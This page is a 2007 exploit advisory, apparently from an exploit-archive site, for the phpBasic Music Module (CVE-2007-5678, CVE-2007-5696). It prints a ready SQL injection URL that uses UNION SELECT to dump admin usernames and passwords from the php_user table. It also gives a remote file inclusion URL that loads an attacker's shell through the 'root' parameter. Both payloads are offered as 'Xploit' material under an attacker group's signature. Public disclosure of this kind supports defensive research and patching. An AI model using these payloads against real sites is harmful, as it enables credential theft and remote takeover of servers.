PHP Basic Multiple Vulnerabilities by Xcross87 & Alucar

2007.10.25

Credit: Xcross87

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-5678 | CVE-2007-5696

CWE: N/A

Software : phpBasic Music Module

Homepage : http://phpbasic.com/

1. SQL Injection by Xcross87 :

Proof of concept :

http://victim.com/phpbasic/?php=music&basic=view&id='[SQL Injection]

Xploit admin user account :

http://victim.com/phpbasic/?php=music&basic=view&id=1+union+select+0,1,u
ser_name,3,user_pass,5,6,7,8,9+from+php_user/*%20%3C+

2. RFI by Alucar

Xploit :

http://victim.com/phpbasic/includes.php?root=[HCE_Shell]

=== ..::Xcross87::.. | ..::Alucar::.. | HCETeam Xploiter | HCEGroup.Vn ===

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

PHP Basic Multiple Vulnerabilities by Xcross87 & Alucar

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.